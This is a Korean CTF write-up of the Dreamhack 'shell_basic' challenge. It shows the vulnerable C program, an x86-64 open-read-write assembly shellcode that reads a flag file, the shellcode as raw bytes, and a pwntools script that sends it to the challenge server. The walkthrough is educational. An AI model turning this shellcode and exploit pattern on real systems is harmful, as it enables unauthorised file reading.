문제
문제 파일
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
stdin 에서 shellcode를 읽고, 해당 코드를 실행한다는 것을 확인했다.
( stdin은 컴퓨터 프로그램이 외부로부터 입력을 받을 때 사용하는 기본 입력 스트림이다. 주로 키보드 입력을 통해 데이터를 받으며, 터미널이나 콘솔에서 사용자가 입력한 데이터를 프로그램으로 전달하는 역할을 수행한다.)
풀이
파일을 읽고 출력하는 orw 쉘 코드를 사용해보자.
다음은/home/shell_basic/flag_name_is_loooooong 파일을 읽고 출력하는 어셈블리 코드다.
section .text
global _start
_start:
push 0x0
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
mov rdi, rsp ; rdi = "/home/shell_basic/flag_name_is_loooooong"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x2 ; rax = sys_open
syscall ; open("/home/shell_basic/flag_name_is_loooooong", NULL, NULL)
mov rdi, rax ; rdi = open("/home/shell_basic/flag_name_is_loooooong", NULL, NULL)
mov rsi, rsp
sub rsi, 0x30 ; rsi = buf
mov rdx, 0x30 ; rdx = 0x30
mov rax, 0x0 ; rax = sys_read
syscall ; read(fd, buf, 0x30)
mov rdi, 0x1 ; rdi = 0x1 (stdout)
mov rax, 0x1 ; rax = sys_write
syscall ; write(1, buf, 0x30)
orw_flag.asm
참고 - https://fight-hacker.tistory.com/1
[시스템] orw 셸코드 (Shellcode)
open, read, write orw 셸코드는 파일을 열고, 읽은 뒤 화면에 출력해주는 셀코드이다. 먼저 open, read, write syscall은 다음과 같다.syscallraxarg0 (rdi)arg1 (rsi)arg2 (rdx)read0x00unsigned int fdchar *bufsize_t countwrit
fight-hacker.tistory.com
어셈블리 코드는 CPU가 직접 실행할 수 있는 기계어로 변환되어야 하기 때문에, 서버는 위 코드를 바로 실행할 수 없다.
그래서 어셈블리 코드를 기계어로 변환하는 과정을 거쳐야 한다.
기계어 VS 바이트 코드
CPU는 기계어만을 직접 실행할 수 있다. 어셈블리어 코드는 어셈블러에 의해 기계어로 변환된 후 CPU에서 실행된다. 즉, CPU가 직접 이해하고 실행하는 코드는 기계어이다. 하지만, 많은 경우 바이트 코드라는 용어를 사용하면서 실제로는 CPU에서 직접 실행 가능한 기계어를 의미하는 경우가 있다. 예를 들어, 쉘코드에서의 바이트 코드는 일반적으로 어셈블리어를 기계어로 컴파일한 결과인 이진 데이터이며, 이는 메모리에 로드되면 CPU가 직접 실행할 수 있는 형태다.
nasm 어셈블러를 사용하여 orw_flag.asm 파일을 컴파일하고, ELF 형식의 목적 파일(orw_flag .o )을 생성한다.
objdump 로 orw_flag .o 목적 파일의 내용을 디스어셈블리하여 어셈블리어 코드로 확인할 수 있다.
objcopy 를 사용해서 바이너리 파일 (orw_flag .bin )을 만들고, 그 파일을 16진수로 확인한다.
위 xxd 출력 결과(16진수)에서 바이트 값들 을 추출해서 다음과 같이 바이트 코드 형태의 쉘 코드를 만든다.
"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61"
"\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67"
"\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8"
"\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48"
"\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48"
"\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf"
"\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05"
이제 바이트 코드가 준비되었으니, 해당 코드를 이용해 서버에 exploit을 시도해보자.
pwntools 모듈을 사용하여 서버에 데이터를 전송하는 파이썬 파일을 만든다.
from pwn import *
context.arch = "amd64"
p = remote("host3.dreamhack.games", 23515)
shellcode = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05"
p.sendlineafter('shellcode: ', shellcode)
print(p.recv())
exploit.py
해당 파이썬 파일을 실행하면 서버의 flag_name_is_loooooong 파일 내용이 출력된다!